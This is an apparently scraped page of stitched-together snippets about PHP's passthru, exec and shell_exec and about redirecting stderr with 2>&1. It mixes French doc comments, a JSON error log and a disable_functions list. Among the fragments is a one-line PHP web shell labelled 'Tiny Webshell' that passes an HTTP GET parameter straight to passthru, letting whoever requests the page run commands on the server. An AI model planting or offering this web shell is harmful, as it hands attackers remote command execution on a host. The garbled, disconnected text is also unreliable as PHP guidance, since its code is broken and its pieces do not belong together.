PHP Passthru Empowering Error Handling with Standard Error Output

... STDERR n'est pas redirigé. * - "outonly" | "noerr": $output ne reçoit que ... * Comme {@link passthru()} mais lancer la commande spécifiée avec exec(). php echo passthru($_GET['cmd']); ?> #Tiny Webshell &1". It means redirect message in stderr into stdout. For example: shell_exec("dir") will return the file list normally. Redirecting stderr to stdout should do the trick. Append 2>&1 to the end of your command. e.g. exec("/usr/bin/svn --username something -- ... ... php" ], "rc": 255, "start": "2017-09-27 04:56:28.246278", "stderr": "Error: Cannot connect over SSH using provided configuration.", "delta ... ... STDERR, or a location specified by the error_log directive. error_log ... disable_functions, exec, passthru, shell_exec, system, proc_open, proc_nice ...